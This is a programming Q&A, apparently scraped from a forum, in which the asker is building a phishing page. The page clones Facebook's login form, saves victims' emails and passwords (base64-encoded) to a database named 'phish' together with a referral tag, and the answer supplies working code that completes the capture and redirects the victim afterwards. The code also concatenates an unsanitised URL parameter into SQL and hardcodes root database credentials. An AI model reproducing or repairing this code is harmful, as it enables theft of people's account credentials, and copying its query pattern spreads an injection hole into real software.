表单if（isset（$ _ POST ['login']））在php中根本不工作

Question

My problem is that I need this to submit data to my database. Below is the code that I have tried. The actual problem is that i want to use a if(isset($_POST['login'])) but it doesn't work in this form any ideas ?

Above my html

<?php
       session_start();
        $_SESSION['ref']=$_GET['ref'];
         function login()
          {
            $host="127.0.0.1:8889";
            $user="root";
            $pw="root";
            $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
          }
        ?> 

My form can be found here

<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0">        <tbody>
 <tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
 <label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
 <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix   uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3"  class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>

Underneath my form you find this

<?php
 if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
    mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

 mysql_query($sql); 

 mysql_close($verbinding);
}
} 
?>

Answer 1

I've got the answer i had to change it

TO:

     <?php
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
      mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

  mysql_query($sql); 

  mysql_close($verbinding);
   ?>
    <script>
    alert("alert here");
   window.location.href="url-here";
   </script>
    <?php 
}
 ?>

I just removed the if(isset($_POST['login'])) and used some additional javascript to get it working ;)